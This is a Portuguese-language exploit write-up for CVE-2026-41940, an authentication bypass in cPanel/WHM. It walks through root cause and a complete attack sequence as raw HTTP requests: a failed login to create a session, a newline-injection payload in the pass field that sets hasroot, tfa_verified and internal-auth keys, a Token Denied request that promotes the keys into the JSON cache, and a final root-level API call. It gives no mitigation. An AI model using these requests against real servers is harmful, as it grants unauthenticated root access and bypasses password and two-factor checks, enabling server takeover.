
Exploit para CVE-2026-41940, uma bypass de autenticação no cPanel/WHM, permitindo que atacantes não autenticados obtenham acesso root via injeção de sessão e promoção de cache JSON.
A CVE-2026-41940 é uma vulnerabilidade crítica de bypass de autenticação no cPanel & WHM que afeta todas as versões atualmente suportadas. Ela permite que um atacante não autenticado contorne a autenticação e obtenha acesso de nível root (WHM) ou acesso de nível de usuário (cPanel).
A vulnerabilidade decorre de dois problemas principais em Cpanel/Session.pm:
saveSession: A função saveSession não sanitizava adequadamente a entrada antes de gravá-la no arquivo de sessão em disco. Especificamente, ela não removia caracteres de nova linha (\n) do campo pass.pass no arquivo de sessão é normalmente criptografado usando um segredo por sessão (ob). No entanto, se o cookie de sessão não contiver a parte ob (a parte após a vírgula), a codificação é ignorada e o valor de pass é gravado em texto claro.A exploração é um processo de várias etapas:
Envie uma tentativa de login com falha para acionar a criação de um arquivo de sessão em disco.
POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Content-Type: application/x-www-form-urlencoded
user=root&pass=anything
O servidor responde com um cookie whostmgrsession, por exemplo, whostmgrsession=:Wg_mjzgt1hyfXefK,1bd3d4....
Envie outra solicitação usando o cookie de sessão, mas remova a parte ob (a vírgula e tudo o que vier depois dela). No campo pass, injete as chaves de sessão desejadas usando novas linhas.
POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK
Content-Type: application/x-www-form-urlencoded
user=root&pass=x%0atfa_verified=1%0ahasroot=1%0asuccessful_internal_auth_with_timestamp=1777462149
Como a parte ob está ausente, o cpsrvd grava o valor de pass sem codificação. As novas linhas injetadas fazem com que as linhas subsequentes sejam interpretadas como pares chave-valor separados no arquivo de sessão bruto.
O cPanel usa um cache JSON para sessões. A injeção bruta existe apenas no arquivo de texto. Para torná-la "ativa", devemos forçar o cPanel a reler o arquivo bruto e atualizar o cache JSON. Isso pode ser feito acionando um erro "Token Denied" em um endpoint que usa Cpanel::Session::Modify.
GET /scripts2/listaccts HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK
O token de segurança ausente na URL aciona do_token_denied, que usa Cpanel::Session::Modify para atualizar a contagem de token_denied. O Modify lê o arquivo bruto (ignorando o cache) e depois grava tanto o arquivo bruto quanto o cache JSON, promovendo efetivamente nossas chaves injetadas para o nível superior do cache JSON.
Agora a sessão está totalmente "autenticada" aos olhos do cPanel. A chave successful_internal_auth_with_timestamp ignora a verificação do /etc/shadow.
GET /cpsess[TOKEN]/json-api/version HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK
O [TOKEN] pode ser obtido do campo cp_security_token na sessão, que geralmente é retornado na resposta "Token Denied" ou pode ser encontrado inspecionando o comportamento do cookie de sessão.
tfa_verified=1: Ignora a Autenticação de Dois Fatores.hasroot=1: Concede privilégios de root no WHM.successful_internal_auth_with_timestamp=[TIMESTAMP]: Ignora a verificação real de senha contra o arquivo shadow do sistema.user=root: Define o usuário da sessão como root.